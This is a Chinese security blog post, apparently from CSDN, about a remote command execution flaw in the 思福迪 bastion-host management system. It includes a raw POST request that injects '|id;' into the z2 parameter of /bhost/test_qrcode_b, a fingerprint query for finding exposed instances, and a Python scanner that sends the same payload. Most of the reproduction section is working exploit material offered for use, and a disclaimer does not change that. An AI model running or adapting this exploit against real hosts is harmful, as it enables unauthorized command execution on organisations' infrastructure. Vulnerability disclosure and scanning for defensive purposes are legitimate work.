• 思福迪 运维安全管理系统 test_qrcode_b 远程命令执行漏洞


    免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

    一、漏洞描述

    思福迪运维安全管理系统是思福迪开发的一款运维安全管理堡垒机。思福迪运维安全管理系统 test_qrcode_b 路由存在命令执行漏洞。

    二、漏洞影响

    思福迪 运维安全管理系统

    三、网络测绘

    app=“思福迪-LOGBASE”

    四、漏洞复现

    登陆页面

    在这里插入图片描述

    1.手动复现

    验证POC

    POST /bhost/test_qrcode_b HTTP/1.1
    Host: 
    User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
    Content-Length: 23
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Referer: http://xxx.xxx.xxx.xxx
    Accept-Encoding: gzip
    
    z1=1&z2="|id;"&z3=bhost
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    burp截图

    在这里插入图片描述

    2.自动化复现

    小龙POC检测脚本正式开源,请各路大神完善和批评

    小龙POCexe传送门: 小龙POC工具

    小龙POC开源传送门: 小龙POC工具

    3.python源代码

    # SFDI_Security_Management_System_test_qrcode_b_Command_Vuln_Scan.py
    
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    from requests.exceptions import Timeout
    
    def Scan_SFDI_Security_Management_System_test_qrcode_b_Command_Vuln(url, proxies, headers, append_to_output):
    
        proxies = {
            'http': 'http://127.0.0.1:8080',
            'https': 'http://127.0.0.1:8080'
        }
        if url.endswith("/"):
            path = "bhost/test_qrcode_b"
        else:
            path = "/bhost/test_qrcode_b"
    
        if not url.startswith('http://') and not url.startswith('https://'):
            url = 'http://' + url
    
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36",
            "Content-Length": "23",
            "Connection": "close",
            "Content-Type": "application/x-www-form-urlencoded",
            "Referer": url,
            "Accept-Encoding": "gzip",
        }
    
        encodetext = url + path
        data='''z1=1&z2="|id;"&z3=bhost'''
        append_to_output("===================================================================", "green")
        append_to_output(f"扫描目标: {url}", "yellow")
        try:
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            req1 = requests.post(encodetext, data=data, headers=headers, verify=False, timeout=20, proxies=proxies)
    
            if req1.status_code == 200 and 'uid' in req1.text:
                append_to_output(f"[+] {url} 存在思福迪 运维安全管理系统 test_qrcode_b 远程命令执行漏洞!!!!", "red")
            else:
                append_to_output(f"[-] {url} 不存在思福迪 运维安全管理系统 test_qrcode_b 远程命令执行漏洞", "green")
        except Timeout:
            append_to_output(f"[!] 请求超时,跳过URL: {url}", "yellow")
        except Exception as e:
            if 'HTTPSConnectionPool' in str(e) or 'Burp Suite Professional' in str(e):
                append_to_output(f"[-] {url} 证书校验错误或者证书被拒绝", "yellow")
            else:
                append_to_output(str(e), "yellow")
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49

    在这里插入图片描述

  • 相关阅读:
    基于Golang和WebSocket打造自已的反向代理
    虹科干货 | HK-TrueNAS版本大揭秘!一文教您如何选择合适的TrueNAS软件
    9.4JavaEE——声明式事务管理(一)基于XML方式的声明式事务
    【STL源码剖析】STL六大组件功能与运用(目录)
    浅谈一下Vue3的TreeShaking特性
    Kafka生产调优实践。Kafka消息安全性、消息丢失、消息积压、保证消息顺序性
    Docker基础:Docker 常用命令梳理
    “圆”来如此——关于圆周率 π 的36 个有趣事实
    MySQL中的锁机制
    基于跳蛛算法的无人机航迹规划-附代码
  • 原文地址:https://blog.csdn.net/holyxp/article/details/134553518